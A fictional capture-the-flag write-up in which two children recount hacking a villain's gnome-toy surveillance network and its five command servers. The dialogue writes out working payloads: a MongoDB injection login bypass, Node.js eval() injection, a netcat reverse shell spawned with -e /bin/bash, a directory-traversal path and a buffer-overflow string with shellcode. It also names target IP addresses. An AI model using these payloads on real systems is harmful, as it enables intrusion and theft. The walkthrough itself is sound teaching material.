Right after the discovery made by the kids, the door bell rang. “Who could that possibly be?” wondered Josh. “No idea”, Jess shrugged. “Maybe parents have returned a little bit earlier?”
“You're right, you're right!” the boy exclaimed and rushed to the door. Jess followed him with increasing feeling of anxiety. Dad and mom both have keys, why would they ring?
Elder sister pushed her brother aside and opened the door. A man standing on the steps was completely unfamiliar to the kids. “Are you Joshua and Jessica Dosis?” Before Jess could do something, Josh proudly exclaimed: “Yes, we are the Dosis!”
The man quickly pulled a small aerosol can and sprayed something right in front of the girl's face.
“What the hell are you doing?” Josh exclaimed furiously. The last thing he remembered was a strange smell, and then everything went dark.

When he regained consciousness, he found himself and Jess sitting in some unfamiliar room with his hands tied.
“Well, well, well, what do we have here? A pair of very curious smarties… But I’ve outwitted you!” – the elderly woman talking to them swiftly switched from a normal voice tone to nervous falsetto, and then back again to calm voice. Her appearance seemed familiar.
“Sis, what’s going on? Is this a second round of that funny game?” Joshua whispered excitedly.
“I don’t know.” Jessica was not as enthusiastic about this woman and their position as hostages.
“I saw your photo in an un-scrambled camera feed. Are you Cindy Lou Who?” She asked boldly.
Woman raised her eyebrow. “Yes, that’s me. I had a smoothly running plan of spoiling Christmas for two millions of people, until you interfered!” she screamed in disgusting tone, so kids could not help it but wince.
She kept silence for a while, anxiously pacing in front of them.
“You’ve nearly ruined it! Luckily, we had audio monitoring in Gnomes, so we heard enough to understand you’re a threat to the plan…” It seemed like Lou forgot kids were sitting in front of her, she was deeply in her thoughts, talking to herself. Then she rapidly turned to Joshua and started to talk in her sweetest tone:
“You would tell me how you did that, wouldn’t you? And I’ll give you a nice chocolate cake…”
Joshua drew back, trying to stay far from that crazy woman. He turned his head to Jessica, asking a question only with his eyes.
“We’d better tell her, Josh.”
“What a smart girl!” Lou giggled, and then sharply and seriously asked: “First of all, how did you notice?”

“Well, it was me.” Josh started explaining. “I was just doing a little wireless sniffing on our home Wi-Fi network, when I noticed a bunch of strange packets flowing from the Gnome. That was kinda unexpected, so I took a closer look at it. Half of traffic were just 802.11 beacons and probes, but the other... the other was pure DNS. What surprised me is that DNS resolutions were not followed by usual connections - you know, like HTTP or SMTP, or something. But it didn't end here - the DNS packets themselves were pretty odd, they had some strange-looking data inside of them, which I'm sure did not belong there. I wasn't able to read it, but then Jess suspected it was base64-encoded, so I did a quick run of strings | base64 --decode to check if there's anything. The output was messy, but I still was able to distinguish a number of strings that started with EXEC: and FILE:, which meant I’m in the right track. Then I wrote a scapy script that iterates over DNS packets, base64-decodes and combines their payloads.

The result was amazing - the Gnome was actually getting commands via DNS and sending outputs back! The ones I was able to spot were iwconfig and cat /tmp/iwlistscan.txt. And that's not the creepiest part yet! When I've assembled all the parts marked with FILE:, I was wondering what type of file did I get. By examining it in hex, I noticed "JFIF" label in it, which means it was actually a picture! Still, my image editor did not open it until I figured I should remove everything before 0xffd8 marker (the removed part was actually filepath, /root/Pictures/snapshot_CURRENT.jpg). So when I opened it at last, guess what I've found? A photo of our room, taken by Gnome! The thing was spying on us the whole time!"

"Ha! So you just got lucky. But I must admit you are more attentive than thousands of those stupid people who bought my Gnomes. Still, that minor discovery would not help you to get that far… What did you do next?"

Jess continued: "When Josh found this creepy picture, I decided to take a closer look at that "toy". Using my trusty Xeltek SuperPro 6100 I've obtained the firmware for device and started analyzing it. First, I ran binwalk against the image to find the PEM certificate, some shared library compiled for 32-bit ARM and SquashFS filesystem inside. What interested me the most was, of course, the filesystem. I've extracted it using

```
dd if=giyh-firmware-dump.bin bs=1 skip=168803 count=17376149 of=firmware.squashfs
```

and unsquashed it.
It seemed to have come from 32-bit ARM device, at least binaries were compiled for this architecture. I even managed to find the exact OS version in /etc/openwrt_release - it was OpenWrt r47650 "Designated Driver". While exploring the rest of the files, I found /www directory and could not help but peeked to see if Gnome had a web interface. Turns out, it used a stack consisting of MongoDB, NodeJS, Express and Jade. Since all the juicy stuff should be in database, I copied the files from /opt/mongodb/ to my box to check what's inside.
And I wasn't disappointed a single second - the database have no access control, so I was able to connect as admin and look through "gnome" db. Inside it, in "settings" collection, there was a document mentioning something called "SuperGnome", and, judging from "status" collection of the same db, there were 5 of those "SuperGnomes". From what it looked like, it was SuperGnome who communicated via DNS with our toy.
But the crown jewel of the database was in gnome.users. Both users present there - "user" and "admin" had their passwords stored in a cleartext ("user" and "SittingOnAShelf", respectively). You know, you really shouldn't store such info in open when planning worldwide conspiracy."

"You should try devising your own evil plot spanning two millions of households first, young lady" Cindy responded coldly. "Of course some insignificancies were overlooked. Back to the point, you knew there were five SuperGnomes, but I believe we didn't keep their addresses in the db. How did you find them?"

"Right, from the database we knew there were a total of 5 Super Gnomes" Josh kept on talking. " Actually, while sis was busy with the firmware, I poked around the dump some more and found that 52.2.229.189 IP our Gnome was contacting via DNS; so I tried to access it via HTTP - it was labeled "SuperGnome 01", with a title of "GIYH::ADMIN PORT V.01". I thought the title is pretty specific, so

went ahead and googled it, which gave me another two results - 52.34.3.80 and 52.64.191.71, SuperGnomes 2 and 3. Yet we still were missing the last two, and then Jess came up with this great idea to use Shodan - a search engine for Internet devices; she also was insisting we look through JavaScript sources to find some specific indicators for Super Gnomes, but I just went forward and put "SuperGnome" in the search string. Guess what? It worked! We found all five SGs: two from USA - 52.2.229.189 (Ashburn) and 52.34.3.80 (Boardman), one Australian (Sydney, actually) at 52.64.191.71, 52.192.152.132 from Tokyo and the last one, 54.233.105.81, from Brazil."
"You got lucky, and that does not mean a head-on approach will always work", Jess interrupted him. "Sometimes you need to devise a search strategy, you know. What if ATNAS controlled Shodan and monitored simple queries like these to track us back?"
"But it worked! Besides, didn't they catch us anyway?" Josh pointed out.
"Ah, nevermind", sighed Jess. "So, having all the IPs at hand, we checked them with Tom Hessman, and he confirmed we're on the right track."

"So that's how you found them! You know, if we shared common Christmas-hating philosophy, we could even work together." Cindy seemed impressed. "But you didn't stop there, you started attacking our systems! You know it's illegal, do you?"

"Speaking of illegal, isn't it also covers planting surveillance devices disguised as toys in two millions of homes?" Jess smiled. "Anyway, we figured that you don't deploy 1,733K gnomes with 5 C&Cs for nothing, and decided to dig further. We ran nmap against all your servers to see what open ports do they have..."
"...and found out all of them had the exact same set of ports open!" Josh exclaimed. "Those were 80/tcp, 4242/tcp and 5555/tcp. Looks like there was http server and two custom applications, listening on 4242 and 5555. By the way, Freeciv uses that latter port! Do you guys, by any chance, play it?"
"Stop it, Josh. So, naturally, we decided to start with http port and connected to all of the IPs from browser. I've tried using that password of yours - you know, "SittingOnAShelf" one - to access the admin account on the first SuperGnome, and, unsurprisingly, it worked. Inside the gnome we found some more evidence of your conspiracy - like 333,334 pages of images, taken by gnome cameras, but most importantly - there were config files for SuperGnome, and a bunch of interesting archives with traffic dump, C source code, all that kind of thing. We were able to download files from the SG-01, but we weren't so lucky with the rest, so figured we'll have to hack through them."
Josh eagerly continued, "I took SG-02 and SG-03, and Jess the other two. So the first one I managed to crack was actually SG-03 - it didn't let me in using the standard admin account, maybe the password was changed? So I had to check the application source to see if there's any way around it, and in fact there was! The login and password entered by user were sent directly to the database for comparison, and I've just ran Burp Proxy, intercepted the request and replaced data passed from the form, that is,

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

username=admin&password=SittingOnAShelf
```

with

Content-Type: application/json

```
{
   "username": "admin",
   "password": {"$gt": ""}
}
```

you know, so the password comparison in MongoDB always succeeds! Once I logged in as admin, I could download all the files I wanted. In the meantime, Jess had luck with another server."

"Yeah, so SG-04 was a piece of cake" Jess stepped in. "Having poked around, I found that "file upload" form, under "Files" tab, and thought it might be possible to mount an RFI, but then I saw that all user input is handed to the eval() without any double-checking. You really didn't expect anyone to mess with your gnomes, did you? And when I figured it can execute anything I pass, obtaining the files was as easy as replacing "postproc ("darken50", file)" with res.end(fs.readFileSync("/gnome/www/files/gnome.conf")) in HTTP request body. It worked for the most part of the files, but factory_cam_4.zip, was too big to fit in one response – to send it properly, I needed to manipulate the headers, but looks like you had semicolon blacklisted, so when I tried

```
res.writeHead(200, {'Content-Type' : 'application/zip','Content-Length' : 1142383});
res.end(fs.readFileSync("/gnome/www/files/factory_cam_4.zip"))
```

It gave me back

Unexpected token ;

Nevermind, I figured that I can actually exec() anything I want and write result in /tmp the following way:

```
require('child_process').spawn('uname', ['-a']).stdout.on('data', function(data) {
fs.writeFile('/tmp/result.txt', data)})
```

And then, it was netcat time! Actually, original nc you had there did not support command execution with –e, so had to revert to /bin/nc.traditional. In the end, the reverse shell command was

```
require('child_process').spawn('/bin/nc.traditional', ['-e', '/bin/bash', '127.1.1.1',
'55555']).stderr.on('data', function(data) { fs.writeFile('/tmp/result.txt', data)})
```

As you can imagine, after this I was able to do pretty much everything gnome-admin is capable of."

Cindy shrugged "Yes, those were some low-hanging fruits. But I bet you weren't able to beat our SG-02 and SG-05. They had all kinds of protection in place!"

Josh grinned "You're wrong. SG-02 was harder indeed, but I still beat it. I found that /cam link, that displays individual cam picture... passed as query parameter, with .png appended. So when you tried to access /cam?camera=10, it showed you the 10.png file. I tried to do a directory traversal with something like

/cam?camera=../../files/gnome.conf

But it didn't work, as .png was appended to that string. I had some experience with similar website, but it was written in PHP, so I just passed the null byte %00 to terminate string and get rid of the

extension. Alas, for JavaScript that did not work, nor did passing way too long string so the end of it will be discarded. I spent quite a lot of time trying to find a way around, until it hit me - the check for .png was implemented poorly! Thing is, that check was just looking for ".png" symbols anywhere in the address, not just the end, and appended the extension only if the search was unsuccessful! That meant if I had a way of creating my own directory, I could perform a directory traversal... and yes, there was such a way. I've used the settings upload form, trying to create a file located at .png/settings.txt. It did not succeed, obviously (you have a rather strict space requirement in code), but I didn't need it to! Once the directory was created, I had the path that will pass .png check and display anything I want - so I went back to /cam and tried

/cam?camera=../upload/jdwVLDpl/.png/../../../../files/gnome.conf.

And it was a success! Did you get it? I used your own feature against you!"

"Maybe I underestimated you" said Cindy. "But for SG-05 we event had an external web app security audit, so you could not possibly break it, am I right? "

"You'd be surprised" responded Jess. "I have to admit it - the last one was kinda tricky. So, when I wasn't able to find any flaw in the web interface, I remembered that 4242 port Josh found... Tried connecting to it and saw some custom application displaying me TCP connections and users. But then, as I was looking through files we got from SuperGnomes, I found one called sgnet.zip, and inside of it was a C source code for that application, bound to port 4242. Luckily, I was a good girl last year and read K&R, so I examined the sources closely and found that 'secret' option, accessible by sending "X". The function sgstatd(int sd), which handles subsequent input, was prone to buffer overflow vulnerability - yes, that's the kind of thing you get when trying to squeeze 200 bytes of data into 100-byte stack buffer.
So I compiled the sources I had with

gcc -g -D_DEBUG -z execstack -c -fPIC sgnet.c -o sgnet.o

gcc -shared -Wl,-soname,libsgnet.so.1 -o libsgnet.so.1.0.1 sgnet.o

gcc -g -D_DEBUG -z execstack sgstatd.c -o sgstatd -L. -lsgnet

And went on trying to overflow a buffer while tracing the result with gdb. I was able to recover the stack canary from the source – the value was 0xe4ffffe4, so I just restored it every time, and the overflow string looked like this:

buffer = "A" * 102 + "\xe4\xff\xff\xe4" + "B"*4 "

Still, I needed some way to inject shellcode, and that was no easy task, especially with ASLR in place. I knew one way of fooling it – just put the location of "jmp esp" instruction inside eip, and an address of shellcode to esp… but turned out, your program was so small it didn't even have a single "jmp esp" (or "ff e4", if you prefer it in hex)! We were so close to uncovering all of it, yet the exploit just didn't work – but then, looking through the sgstatd code one hundred and first time, I realized that the solution was right under my nose the whole time!
Do you remember what value you used as a stack canary? It was 0xe4ffffe4, and the "ffe4" is exactly "jmp esp" – so all I had to do is just find the correct offset, which turned out to be 0x804936b. After I figured that out, the rest was a piece of cake – I just stuffed it all in one string, like this:

"A" * 102 + "\xe4\xff\xff\xe4" + "B"*4 + "\x6b\x93\x04\x08" + shellcode

and send it to your Gnome. Do I need to mention that the shellcode was actually a reverse shell (just 72 bytes, thanks to shell-storm.org, so I met the 200 bytes limit), which established connection with my PC that already had netcat listening? And that is how I got all your files!”

"When we looked through that traffic dumps, containing your emails, the architecture and overall plot became clear," Josh finished and sighted with a relief as if he has got tired of talking.
"Clear!" Lou crossly mimicked boy's words. "If it was that clear, why are you sitting here tied?"
"Because you are the most cruel, wicked and evil creature we've ever seen!" Jess, who is usually a calm and smart girl, finally lost her self-control.
"Should I consider this as a compliment?" Lou asked, obviously mocking.
Now Jess seemed to have forgotten in what kind of situation she and her brother found themselves*
"How malicious one must be to continue this horrendous plan ever after the sincere apologies were made!"
"And who are you to judge me?" Lou seemed to have missed the last part. "Wait... what did you say about apologies?"
Kids exchanged surprised glances, and then Jess calmly responded:
"The ones that Grinch made to you".
"Ha, what a funny joke! You would make up anything to escape, wouldn't you?"
"But we are not lying to you! Even if we did, how would that possibly help?" Jess tried to talk in the most persuasive tone she only could.
"OK, I haven't checked my inbox quite for a while... But if you lied, I'll be really, really angry"
Cindy remained silent, swiftly looking through her e-mails on the tablet.
"As would be expected, nothing from Gr... Wait, what's this?"
She opened the letter and started reading.
"See? We are honest with you!" said Josh.
When Lou finished, she sighed deeply several times, as if trying to calm down.
"Yet this is not an excuse for reading my personal mail!" But Cindy did not seem angry, at least, not as much as she was several minutes ago.
“Christmas doesn’t come from a store!” Lou chuckled. “Well, if the Grinch himself, my inspiration, said this than maybe Christmas… perhaps…means a little bit more!” Cindy seemed relieved, but then she frowned again.
“I have to think about it”.
“Why wouldn’t you come to our home and see it with your own eyes?” Jess was surprised at having said this, but now she couldn’t step back. “Besides, no one should be alone at Christmas”.
“And the roast beast our mother cooks is absolutely delicious” Josh added.
So, the Christmas was saved for another time. As for thousands of the Gnomes, Cindy and the kids made them play nice Christmas songs the whole day and you, Dear Reader, must have heard one.